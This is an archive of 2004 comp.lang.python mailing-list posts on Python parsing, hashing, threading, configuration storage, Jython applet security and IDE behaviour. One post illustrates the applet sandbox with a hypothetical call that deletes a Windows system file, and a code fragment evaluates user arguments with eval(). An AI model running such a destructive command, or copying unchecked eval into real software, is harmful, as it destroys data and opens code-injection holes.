line against our command regular expression temp_line = string.lstrip(line) len_1 = len(line) len_2 = len(temp_line) white_spaces = len_1-len_2 if white_spaces is not 0: front_padding = line[0:white_spaces] match = parent.regexp.match(temp_line) if match is not None: # Extract the command and argument strings cmd_string = match.group() arg_string = string.lstrip(temp_line[match.end():]) # Find the function for this command in the command dictionary function = parent.commands.get(cmd_string) if function is not None: # Split argument string into individual arguments args = string.split(arg_string) # Recursively evaluate all arguments i = 0 while i < len(args): try: # Grab value and position of this argument unevaluated, pos, i = args[i], i, i + 1 # Have Python attempt evaluation of the argument evaluated = eval(unevaluated, parent.locals) # Did the evaluation produce a "new" result? if str(evaluated) != str(unevaluated): # Place the evaluation in the argument list args = args[:pos] + \ string.split(str(evaluated)) + \ args[pos + 1:] # Go back to the beginning of the argument list i = 0 except (SyntaxError, NameError): pass # Convert to Python function-call syntax for this command line = "myparse." + function + "(" + str(args) + ")" if white_spaces is not 0: line = front_padding + line # Return the line to be processed by Python return line From bokr at oz.net Sun Sep 19 21:32:23 2004 From: bokr at oz.net (Bengt Richter) Date: 20 Sep 2004 01:32:23 GMT Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: On 19 Sep 2004 15:24:31 -0700, danb_83 at yahoo.com (Dan Bishop) wrote: [...] >There are, of course, reasonably accurate rational approximations of >pi. For example, 355/113 (accurate to 6 decimal places), 312689/99532 >(9 decimal places), or 3126535/995207 (11 decimal places). Also, the >IEEE 754 double-precision representation of pi is equal to the >rational number 4503599627370496/281474976710656. >>> divmod(4503599627370496,281474976710656) (16L, 0L) a little glitch somewhere ? ;-) Others are nice though, but the last one shows up same way: >>> print '%s\n%s' %(ED('312689/99532').round(11), ED(math.pi,11)) ED('3.14159265362') ED('3.14159265359') >>> print '%s\n%s' %(ED('3126535/995207').round(13), ED(math.pi,13)) ED('3.1415926535887') ED('3.1415926535898') >>> print '%s\n%s' %(ED('4503599627370496/281474976710656'), ED(math.pi,'all')) ED('16') ED('3.141592653589793115997963468544185161590576171875') Regards, Bengt Richter From ville at spammers.com Thu Sep 2 01:48:07 2004 From: ville at spammers.com (Ville Vainio) Date: 02 Sep 2004 08:48:07 +0300 Subject: Announcing PyCs, a new Python-like language on .Net References: <1093788608.645541@news.commspeed.net> <7xoekq4ehv.fsf@ruckus.brouhaha.com> Message-ID: >>>>> "Mark" == Mark Hahn writes: Mark> X# seems like groundbreaking work to me. It reminds me of Mark> the utility of regular expressions but for XML and SQL. Yep, and Python doesn't need special syntax for regexps either. Mark> Don't forget that reular expressions were in Perl first also Mark> and they are used heavily in Python. I imagine regexps have been around long before perl, though I might be wrong. That aside, the regexps in the core language don't seem to benefit the perl in any significant way - apart from pleasing newbies who might live under the fallacy that having a feature "built right in" makes the language superior for the task in question. -- Ville Vainio http://tinyurl.com/2prnb From bbull at pathfire.com Mon Sep 20 16:59:12 2004 From: bbull at pathfire.com (Brian Bull) Date: 20 Sep 2004 13:59:12 -0700 Subject: How can I pass objects in a web page? Message-ID: <9f363ad9.0409201259.4bd0f945@posting.google.com> I have written something that creates about 5000 unique objects. I want to have a link on a page that when clicked will take the user to a page that will "describe" the contents of the object. The problem seems to be passing the object from one static page to another via a link. Is this possible? From mauriceling at acm.org Fri Sep 3 00:05:40 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 03 Sep 2004 04:05:40 GMT Subject: Modules are hashable?! In-Reply-To: <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> Message-ID: <4137ed92$1@news.unimelb.edu.au> Alex Martelli wrote: > Leif K-Brooks wrote: > > >>I was just playing around, and noticed that modules seem to be hashable. >>Can anyone explain that, especially given the fact that they're mutable? > > > Any object x is hashable if type(x) does not expose __eq__ nor __cmp__. > In that case, the meaning of x==y for that object is 'x is y', that is, > id(x)==id(y), so having hash(x) return id(x) is perfectly functional. > Mutation is not a problem if it doesn't affect equality comparisons. > > > Alex The idea that I get from reading this thread is that objects that can be type compared (comparing the contents) are not hashable, and they are list, strings, tuples and dictionary. Is there any others that fall into this category? Is there any way to make them hashable? Hashable objects, on the other hand, are hashed based on say, the pointer address pointing the object or an identifier in the Python VM symbol table or something. It's like to say that when you hash a human, you get the name and not the physical dimensions of the person. The person can grow fat or slim down, but the name is still the same. Maurice From glc at well.com Fri Sep 17 09:40:35 2004 From: glc at well.com (Greg Chapman) Date: Fri, 17 Sep 2004 13:40:35 GMT Subject: Embedded python with threads References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net> <414A1C29.6000305@noos.fr> Message-ID: On Fri, 17 Sep 2004 01:05:13 +0200, nik wrote: >I think I was making an assumption that since the list filling threads >didn't run that the import module was calling the create thread command, >then exiting (killing the children threads along with it) - I'm a novice >at threads with python, so I'm probably misunderstanding the general >picture. However, maybe your suggestion of the Py_BEGIN_ALLOW_THREADS >will make the difference. I'll try again as soon as I can (not until >next week now)... OK, this sounds like you were definitely not releasing the GIL (the Global Interpreter Lock). To get an idea of how Python's threading works (from the C side of things), I'd suggest reading this: http://www.python.org/dev/doc/devel/api/threads.html That's from the documentation for 2.4, but I believe everything there applies to 2.3 as well. I'm linking to it because it includes some discussion of the PyGILState functions (this discussion is missing from the 2.3 docs, but the functions are there). --- Greg Chapman From cgibbs at kltpzyxm.invalid Wed Sep 1 15:08:17 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 01 Sep 04 11:08:17 -0800 Subject: Xah Lee's Unixism References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134a207$0$65568$a1866201@newsreader.visi.com> Message-ID: <1599.740T867T6683932@kltpzyxm.invalid> In article , jwkenne at attglobal.net (John W. Kennedy) writes: >Craig A. Finseth wrote: > >> Wrong. The / was chosen as the command line option separator >> because whoever wrote MSDOS was looking to CP/M, who modelled >> their commands after a PDP-11 operating system (RT-11?). Consider >> the "PIP" command. At least PIP would copy zero-length files. >> When they went to MS/DOS 2.0 and needed path separators, they >> found that "/" was already taken, so they used "\". But there >> was a hidden way to tell the command interpreter that it could >> use "-" for options. > >Except, of course, that it was useless, because 99% of programs did >their own option parsing, and still do. The hidden option only lasted >one .1 subrelease, as I recall. Yes, my programs indeed do their own parsing. And they insist on "-", no matter which OS they're running on. :-) >> And in all systems starting with 2.0, the system calls have taken "/" >> and "\" interchangably. > >...which is /one/ thing that the FLOSS community can honestly thank them >for. Now, do you trust Microsoft to keep it that way? I don't. That's why my programs are full of things like: #ifdef DOSWIN strcat (filespec, "\\"); #else strcat (filespec, "/"); #endif Yes, it's bulky and ugly. But it's also future-proof. -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From greg.lindstrom at novasyshealth.com Tue Sep 28 17:24:06 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Tue, 28 Sep 2004 16:24:06 -0500 Subject: Oracle Access via cx_Oracle Message-ID: <01c401c4a5a1$7cafcbf0$054b12ac@D18SYX41> Even better! I've tweaked the parameters and am now getting the system to hang. Good news, in a way. When I get it going I will post a summary. Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From pit.grinja at gmx.de Sun Sep 5 10:23:42 2004 From: pit.grinja at gmx.de (Piet) Date: 5 Sep 2004 07:23:42 -0700 Subject: wxSizer: Define sizer hierarchie before putting controls in or vice versa? Message-ID: <39cbe663.0409050623.5cef2d4d@posting.google.com> Hello, I have a short question about sizers and how they work when I have a frame or panel with a complex sizer hierarchie. When creating a new sizer which sits itself in its parent sizer, should I add the new sizer to the parent sizer and then populate the new sizer with its controls (some of them might be sizers on their own) or should I populate the new sizer with all its controls before I add the new sizer to its parent sizer? Or doesn?t it make any difference and all the sizes and sizers are calculated anyways when the wx.Window.SetSizer(wx.Sizer),wx.Window.SetAutoLayout(True) and wx.Sizer.Fit(wx.Window) functions are run before before the window is finally made visible? Thanx in advance Peter From indigo at bitglue.com Wed Sep 22 10:47:41 2004 From: indigo at bitglue.com (Phil Frost) Date: Wed, 22 Sep 2004 10:47:41 -0400 Subject: Efficient configuration storage In-Reply-To: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> References: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> Message-ID: <20040922144741.GB23219@unununium.org> One possibility is to use pprint to serialize the dictionary, and then read it again with eval(). This is more or less human readable, but has security implications. It could be made somewhat more readable by making a class who's repr() would return something like "key: ", and provided a method for evaluating this expression. You might be able to use the rfc822 module. However, eval() would still be used. You might be able to use a save flavor of eval, such as presented here: . Otherwise, implementing a class that knows what type a value should be, then using the right constructor, str(), int(), etc, might be the best solution. On Wed, Sep 22, 2004 at 07:32:38AM -0700, sebsauvage wrote: > Hello. > > In one of my programs ( http://sebsauvage.net/python/webgobbler/ ), > I have a global dictionnary containing the whole program configuration. > Sample follows: > CONFIG = { "network.http.useproxy" : True, > "network.http.proxy.address": "proxy.free.fr", > "network.http.proxy.port" : 3128 > [etc.] > } > > I'd like to be able to save/load to/from a file. > > I do not want to use pickle because I want configuration to be human readable. > > ConfigParser could do the trick, but the biggest trouble is that it does > not retain type (boolean, integer, string...). > > Would I have to store everything as text and cast it everywhere > it's used (and try/except each cast of course) ? > 'Looks ugly and inefficient to me. > > Or have a configuration class which knows the type of each parameter > and casts appropriately from the configuration file ? > > > Is there a better way of doing this ? From roman.yakovenko at actimize.com Thu Sep 9 07:14:08 2004 From: roman.yakovenko at actimize.com (Roman Yakovenko) Date: Thu, 9 Sep 2004 14:14:08 +0300 Subject: Set and {} comparison confusion Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523253A41@exchange.adrembi.com> > -----Original Message----- > From: Roman Yakovenko > Sent: Thursday, September 09, 2004 2:11 PM > To: python-list at python.org > Subject: RE: Set and {} comparison confusion > > > > > -----Original Message----- > > From: Alex Martelli [mailto:aleaxit at yahoo.com] > > > > > > Roman Yakovenko wrote: > > ... > > > classes have __eq__, __ne__. Classes are mutable - I can't define > > > __hash__ function. __lt__ - I can implement but it will be > > meaningless. > > > > As long as it respects the fundamental semantics > constraints such as: > > a < b and b < c imply a < c > > a < b implies not (a == b) > > a < b implies (a != b) > > not (a < a) for any a > > and so on, your __lt__will not be 'meaningless' but very useful. > > Well I am not talking about algebra. Those rules are clear to me. > > > Basically, __lt__ is meaningful if it's transitive, > > non-reflective, and > > compatible with your == and != (which I assume are compatible > > with each > > other); a transitive non-reflective < defines implicitly an > > equivalence > > relation, a eqv b <--> not (a < b or b < a), and you need your == to > > express exactly that equivalence relation... so if your == is > > meaningful, your < can't really be 'meaningless'!-) > > > I don't agree with you. I can compare properties of some object. > For example I can compare cows: ^^^^^ pythons :-) > one python is longer then other ( length ) > one python is heavier then other ( weight ) > one python is older then other ( age ) > > But I can't define meaningful operator "<" on pythons. > I can compare pythons only property by property. I don't thing > that next code is meaningful > > def __lt__( self, other_python ): > return self.length < other_python.length \ > and self.weight < other_python.weight \ > and self.age < other_python.age > > I see this code as meaningless on python's. > > > > Thank you for help. I think I have a dicision: > > > 1. I will implement meaningless __lt__ > > > 2. I will sort ( I don't have duplicated items ) every time > > I need to compare > > > 2.1 Because sort is happen in place next time it will take > > less time to sort. > > > > Yes, that does seem to make sense to me. Once two lists without > > duplicates are sorted, they're equal as sets iff they're == > as lists; > > and yes, maintaining sorted order is typically quite cheap in > > Python due > > to Tim Peters' powerful natural mergesort algorithm as implemented > > inside list.sort (though it might be worth having a look at > the bisect > > module, it's likely going to be faster to just sort the lists each > > time). > > > > > > > Again - Thanks for help. It was very usefull. It seems that > > I had wrong > > expectation > > > from set - " unordered set collection based only on > > comparison operators". > > > My mistake. > > > > Ah, isn't set documented to need hashable elements? It > should be. Of > > course, _why_ your class appears to be hashable when it > defines __eq__ > > and not __hash__ I dunno -- Python should diagnose that, > but it does't > > appear to... > > It is my fault too. All my classes derives from object. > object do implements __hash__ > function. I think I should raise exception if somebody tries > to insert object into > set \ dictionary > > > > Alex > > -- > > http://mail.python.org/mailman/listinfo/python-list > > > -- > http://mail.python.org/mailman/listinfo/python-list > From marduk at python.net Thu Sep 9 12:26:18 2004 From: marduk at python.net (marduk) Date: Thu, 09 Sep 2004 11:26:18 -0500 Subject: Is except: ... pass bad style? Message-ID: I commonly use code like this try: # call optional method myobj.method() except AttributeError: # no biggie pass Occasionally I use pylint, which is a good tool, but in the above snippet pylint will complain that 'Except doesn't do anything'. True, but is that bad style? I know there are other ways of doing it, but of all the other "obvious" ones, this appears the most straight forward. Should I ignore pylint or is there a more Pythonic way to do this? From claird at lairds.us Thu Sep 9 18:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 09 Sep 2004 22:08:05 GMT Subject: Converting integers to english representation References: Message-ID: In article , Martin Maney wrote: >brianc at temple.edu wrote: >> I'm developing a system to parse and enumerate addresses. The >> current obstacle is numbered streets. Does anybody know of a >> module already written to convert integers to their english >> equivalents? > >The suggestion about searching for "ordinal" is good, but runs into all >those unicode false hits. :-( > >It isn't quite the same as either of your examples, and it goes only >one way, but this is what I'm using in one app where I want ordinalized >day numbers: > >def _ord_sfx(decade): > if decade != 1: > return ('th', 'st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th', 'th') > return ('th', 'th', 'th', 'th', 'th', 'th', 'th', 'th', 'th', 'th') > > >def ordinalize(n): > decade = (n % 100) / 10 > unit = n % 10 > return '%d%s' % (n, _ord_sfx(decade)[unit]) . . . Those who want to pursue this deeper will probably read and . From benn at cenix-bioscience.com Wed Sep 1 04:14:53 2004 From: benn at cenix-bioscience.com (Neil Benn) Date: Wed, 01 Sep 2004 10:14:53 +0200 Subject: file access in jythonc In-Reply-To: <9eabe547.0408311130.73beef80@posting.google.com> References: <9eabe547.0408210611.d5e54f7@posting.google.com> <9eabe547.0408301406.2543e691@posting.google.com> <9eabe547.0408311130.73beef80@posting.google.com> Message-ID: <413584FD.9020305@cenix-bioscience.com> John Howard wrote: >"Diez B. Roggisch" wrote in message news:... > > >>>I've looked up the references below and done several searches of >>>filepermissions. It seems to me that for jythonc to have any use in >>>development of "practical" products, programs have to be able to >>>access local files easily. If not, then this, in my opinion, is going >>> >>> Hello, The reason that you cannot access local files is for security reasons. If you could access local files; then what would stop an applet running the (Jython) command : os.remove("kernal32.dll") As the previous responder stated, you will need to understand the java security model, beneath is a link to the Java Security Tutorial : http://java.sun.com/docs/books/tutorial/security1.2/ I know that it is a pain the the arse to deal with but imagine what a disaster it would be if the security wasn't there! Cheers, Neil -- Neil Benn Senior Automation Engineer Cenix BioScience BioInnovations Zentrum Tatzberg 47 D-01307 Dresden Germany Tel : +49 (0)351 4173 154 e-mail : benn at cenix-bioscience.com Cenix Website : http://www.cenix-bioscience.com From homix at gmx.net Sun Sep 19 17:21:36 2004 From: homix at gmx.net (Oli Schwarz) Date: Sun, 19 Sep 2004 21:21:36 +0000 (UTC) Subject: uptime in unix References: Message-ID: Cameron Laird schrieb: > In article , Oli Schwarz wrote: >>Hello, >> >>how can I read out the uptime of a unix system in python (Linux and *BSD). >> >>I have not found a uptime-function in the Library. > . > . > . > Is it enough to parse the output of uptime(1)? I hope. :) But I was wondering that there is no such function in the library. Are these things handled like in Java? Doesn't Python know anything about such platform specific things? Regards Oli From carribeiro at gmail.com Sun Sep 26 22:04:49 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 26 Sep 2004 23:04:49 -0300 Subject: "False exceptions?" (was Re: theme of the week: tools In-Reply-To: References: <41542230.3070808@bellsouth.net> Message-ID: <864d370904092619044cde9ff@mail.gmail.com> On Sun, 26 Sep 2004 21:36:18 -0400, Peter Hansen wrote: > Dan Perl wrote: > > I debugged one of my > > scripts (that I knew it works) and got an unexplainable exception. It turns > > out that Wing IDE falsely detects some exceptions. They know about it and > > they suggest that if you KNOW that it's a false exception you should flag it > > to be ignored. Yes, Wingware people, I know it's a false exception, but > > What exactly is a "false exception"? I have never heard of such > a thing, and can't imagine what it might be. Python raises > exceptions, they are subclasses of Exception or (old-style) > strings, they have tracebacks, they come from a variety of > sources, there's lots of things to know about exceptions but > "falseness" is not something about which I'm aware... They're false in the sense that that they're not supposed to be raised to the attention of the user. What happens is that Wing IDE is super sensitive with regards to exceptions; when an exception is raised in some internal module, Wing tries to outsmart the library and warn the user that an exception happened. A "false exception" is one that would happen and be silently treated by the library itself, without nobody noticing, but that's catched by Wing IDE nonetheless, in a totally unnecessary and obstrusive way. You can see that it's a case where the tool tries to be too smart for its own good. p.s. Why do they do it? For what I could see, the intention seems to be able to catch situations where a valid exception that should be raised to the user attention is silented by a generic error handler. It really may be useful in some situations, but it isn't a reasonable default in my opinion. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From carribeiro at gmail.com Wed Sep 8 22:57:14 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 23:57:14 -0300 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> Message-ID: <864d37090409081957306ecb59@mail.gmail.com> On Wed, 08 Sep 2004 22:00:24 -0400, Peter Hansen wrote: > In addition, there is not yet a fully functional standard > way of communicating between JavaScript and the server on > the back end, short of doing page reloads. Gmail and other similar applications almost solved this issue by using a clever design. The webpage is divided into frames; one of the frames is not visible, and holds the main script. The other frame is visible. There are calls in the visible frames to the code in the hidden frame. The hidden frame can also keep communicating with the server to update fields. For more information, check libgmail (written in Python). It's not as hard as it seems, specially because a lot of the differences between the browsers can be solved in a single place and conveniently reused. > Suffice to say that while HTML+JavaScript can do the job, > in principle, in practice it falls short and Flash is > potentially a much more effective solution, at least for > now and the near future. I understand that some people really like Flash. It's nifty and powerful. And the CSS+HTML+JavaScript combination is slow, tricky, confusing, complex, etc. -- it's just asking for a redesign, but there is way too much code written for it to happen in any dramatic fashion. However, Flash is not an open standard, and that's a big problem. Who can guarantee that the upcoming versions of the Flash plugin will keep the same interface? It's a risk that you have to take into account. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From peter at engcorp.com Fri Sep 24 15:48:39 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 15:48:39 -0400 Subject: file read, binary or text mode In-Reply-To: <86hdpnpj1n.fsf@stronzo.brainbot.com> References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <86hdpnpj1n.fsf@stronzo.brainbot.com> Message-ID: <_audnWtgdbGK58ncRVn-uA@powergate.ca> Ralf Schmitt wrote: > "Terry Reedy" writes: >>On Windows, text mode autoconverts \r\n to \n on input and viceverse on >>output. I believe that that is all the difference. Period. > > That's not quite the case. As always windows sucks big time: [snip example with ^Z] > The last character gets stripped if it's 0x1a when opening a file for > appending in text mode. Good point. Note for the picky: it doesn't just get stripped... it *is* the last character, even if there's data following. Or to be blunt, ^Z (byte value 26) is treated as EOF on Windows when not using binary mode to read files. I suspect Terry and others (including I) overlooked this because ^Z is pretty much obsolete, and since few applications *write* ^Z as the last character of text files any more, almost nobody bothers to remember that text mode is slightly more complicated than just the CR LF to LF conversion and back. -Peter From kkt at drizzle.com Tue Sep 14 12:52:15 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 14 Sep 2004 09:52:15 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> Message-ID: Morten Reistad writes: > I do not agree. Kennedy and Clinton had a lousy foreign-policy > record. The Bay of Pigs, Vietnam, the Cuba crisis were all > examples of glorious miscalculations. Ditto Rwanda, Somalia, and > the Vietnam was certainly a catastrophe, but the blame goes to Johnson, not Kennedy. There were only a few thousand U.S. troops in training and advisory roles in Vietnam by Kennedy's assassination. Johnson decided to escalate the war and have U.S. forces fight directly. Even the best presidents can't have nothing but successes. The Bay of Pigs was a failure, but at least Kennedy didn't compound the mistake by sending in U.S. troops where Cuban expats failed. -- Patrick From deetsNOSPAM at web.de Thu Sep 9 17:53:13 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 09 Sep 2004 23:53:13 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> Message-ID: > Darn... I was hoping that Python would let me format strings with > mappings in a more readable/maintainable way than thusly: Maybe you can simply combine the sequence and the map - if you don't have numeric keys, that might work. Like this: vals = ['first' , 'second'] map = {'foo' : 'bar'} map2 = dict(map.items() + [(str(i), v) for i, v in enumerate(vals)]) print "%(0)s %(foo)s %(1)s" % map2 Not perfect, but IMHO better than your eval-based solution. -- Regards, Diez B. Roggisch From noone at here.com Wed Sep 29 23:13:33 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 04:13:33 +0100 Subject: List rotation References: Message-ID: That should of course read print list at the end "M. Clift" wrote in message news:cjftdv$ofl$1 at news8.svr.pol.co.uk... > Hi All, > > Could someone help me out with this? > > items = ('a', 'b', 'c', 'd') > items + 1 = ( 'b', 'c', 'd', 'a') > items + 2 = ( 'c', 'd', 'a', 'b') > items + 3 = ( 'd', 'a', 'b', 'c') > > trans = 1 > > list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') > > #and items = +1, the list would be; > #list = ('b', 'a', 'c', 'b', 'a', 'd', 'c') etc.. > > for idx in range(len(list)): > if trans == [1]: > list[idx] = [???] > print l1 > > Don't laugh, I'm a slow learner : ) > > Thanks, > > M > > From fredrik at pythonware.com Mon Sep 20 08:51:34 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 Sep 2004 14:51:34 +0200 Subject: Using isA and getA in a python way References: Message-ID: "C Gillespie" wrote: > I have long list of if statements in the form of: > > if obj.isA(): return obj.getA() > if obj.isB(): return obj.getB() > if obj.isC(): return obj.getC() > if obj.isD(): return obj.getD() > > > Is there a nicer way of doing this, perhap going through the list > ['A','B','C',.. well, the python way is to do: return obj.get() if that's too much work, you could add some kind of identifier to each obj class, and do: return getattr(obj, "get" + obj.tag)() if that's too much work, you could create a map, mapping class names (or class objects) to tags, and do: return getattr(obj, "get" + my_lookup_table[obj.__name__]) etc. From mlerner at NOumichSPAM.edu Wed Sep 8 17:05:02 2004 From: mlerner at NOumichSPAM.edu (Michael George Lerner) Date: Wed, 08 Sep 2004 21:05:02 GMT Subject: Why is this legal? Message-ID: <2uK%c.21$pW.773@news.itd.umich.edu> I tracked down a bug today that boiled down the "undecorate" part of this "decorate-sort-undecorate": cluster = [(c.resi,c) for c in cluster] # decorate cluster.sort() # sort cluster = [c for (c.resi,c) in cluster] # undecorate That last line actually assigns c.resi for each c in cluster. Here's a simple example of the same thing: [mlerner at localhost mlerner]$ python Python 2.3b2 (#1, Jul 3 2003, 14:20:37) [GCC 3.2.2 (Mandrake Linux 9.1 3.2.2-3mdk)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class Foo: pass ... >>> f1 = Foo(); f2 = Foo() >>> f1.x = 'go'; f2.x = 'od' >>> f1.x+f2.x 'good' >>> things = [f for (f,f.x) in [(f1,'bo'),(f2,'gus')]] >>> f1.x+f2.x 'bogus' >>> Is there any reason you'd ever want to do this? I use pychecker, but I've never actually looked at how it works. Would it be hard to make pychecker detect something like this? -michael From spam at nimblegen.com Mon Sep 13 18:43:48 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Mon, 13 Sep 2004 17:43:48 -0500 Subject: Xah Lee's Unixism In-Reply-To: References: <413f03cc$0$6914$61fed72c@news.rcn.com> Message-ID: Morten Reistad wrote: > In article , > Chuck Dillon wrote: > >>Antony Sequeira wrote: >> >> >>>Chuck Dillon wrote: > > > >> 3) It demonstrates to other states in the region that they could have >>a regime change in about a month's time if they allow themselves to be >>in the position of being held accountable for any future attack. >>Removing the Taliban was a much more ambiguous demonstration of this >>since they had no real military and really weren't an organized state. > > > Dont' you think they already knew that? The main problem is rather > how many iraq's can we handle. Apparently not since the Taliban ignored it and it seems the Saudi's did as well. > > >> 4) Look at a map of the middle east. It provides us with a base of >>operations in the center of the region. We probably won't have to ask >>for access to bases and airspace in future operations, which hopefully >>will never have to happen. >> 5) It provides us with a second (ref: Afghanistan) shot at >>establishing a pseudo-democracy in the region. > > > Valid arguments, but this "democracy-building" has been utterly > mishandled. Firstly by an [almost] US-only war, and then by a US > occupation by PHB's. Easy to say and perhaps true. What benchmark does one use to make the judgment? Can one reasonably expect another administration to do better? It's easy to criticize something this messy (to say the least). But unrealistic to expect that there was a significantly easier road that we failed to see. > >>Before you respond saying that it increases the number of potential >>terrorists that might carry out an attack, that may or may not be so. >>But for such an attack to be carried out requires organization and >>resources not just a bunch of pissed off people. It would require at >>least implicit support by a state or very large organization with >>resources. If you are one of those pissed off people how are you going >>to sell your plan to say Syria? >> >>You are being naive. Complain as loud as you like but there is no >>question that the ability and demonstrated willingness to defend ones >>self is the best deterrent to ever having to do so. > > > > Now, can we handle a North Korea that really goes sour; together > with an al-Quada insurgency in a few african states, plus Sudan, > a few tribal genosides, Turkmenistan gone bad (sliding there fast), > and islamic revolution in Pakistan; or civil war there; plus another > backlash in Afghanistan. > > All of these are very real and immediate conserns. I haven't even > touched the Burmas and the Indoneias that seem stable at the moment. > > This is why I critisize the go-it-alone policy so harshly. I have > a feeling we haven'??? seen the worst yet. I don't see that we've gone it alone at all. Again it is easy to criticize. I think politically we are better off having our power tempered by strong nations. It reduces the concerns of all non-combatants in the west and in the Islamic states. Good cop bad cop comes to mind. We may not have seen the worst. Who knows? I cannot see the danger being significantly reduced until the Islamic mainstream begins to take ownership of the problem rather than nurturing with unfortunate rhetoric. And I can't see that happening without a strong incentive. And I can't imagine a stronger incentive than understanding that we hold them accountable when extremism from their midsts manifests itself in the non-Islamic world. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From aleaxit at yahoo.com Mon Sep 6 03:24:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 09:24:04 +0200 Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> Message-ID: <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> greg wrote: ... > Python does not currently provide any '__xxx__' special methods > corresponding to the 'and', 'or' and 'not' boolean operators. In the ... > There is no such difficulty in the case of 'not', however, and it Indeed, that's what the strangely-named __nonzero__ special method does: it's invoked upon the 'not' operator and in no other case, so it would be strange to claim it's anything but "a special method corresponding to the 'not' boolean operator". Problem is, __nonzero__ is currently typechecked -- it has to return an integer. Maybe relaxing that constraint might be enough for 'not' (while your elaborate proposals may well be necessary for 'and' & 'or'). Alex From python-url at phaseit.net Mon Sep 20 12:08:04 2004 From: python-url at phaseit.net (Cameron Laird) Date: Mon, 20 Sep 2004 16:08:04 GMT Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 20) Message-ID: QOTW: "The advantage of using slices to extract a single element is that it avoids IndexErrors for empty lists." Raymond Hettinger http://groups.google.com/groups?th=44bd04fe85d02c19 "Usually when you feel that you need to generate instances with certain names you are on the wrong track in translating the problem you need to solve into a program. " Istvan Albert http://groups.google.com/groups?frame=left&th=6ce53556b4307fb5 Michael Sparks, David Mertz, Patrick Maupin, Bengt Richter, and others deepen discussion, mentioned last week, of greenlets, co-routines, and related matters. Particularly note explanations of confusing labels. http://groups.google.com/groups?frame=left&th=ca4b3ec6501d42aa Bengt Richter and Lonnie Princehouse provide substantial examples of Python-based (lexical) parsing. http://groups.google.com/groups?frame=left&th=795e46367a16d38 'Need to track every object in the solar system? Erik Max Francis' Python coding makes it "simple but useful". http://groups.google.com/groups?th=744df8e93a7a5e5e Opportunity: if you'll be at this year's SANE in Amsterdam, help proselytize at the Python Software Foundation stand. http://groups.google.com/groups?th=c916b2fefd4e878d Wayne Pierce bases nascent Security Advisor's security auditing on filesystem and service scans. Python makes it all comprehensible. http://groups.google.com/groups?th=4387aeb99f5c49d2 Alex Martelli provides a model for "self-updating" Python-coded software. http://groups.google.com/groups?selm=1gkazd2.1qm3g0u1l6b7lmN%25aleaxit%40yahoo.com Of course, for Alex, "somedict.get(x, x) [is] a *frequent* Python idiom". http://groups.google.com/groups?frame=left&th=3c7dc03a05fa8d1 Yet another distribution? Ubuntu Linux is an ambitious and Python-oriented one. http://www.ubuntulinux.org/ ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of 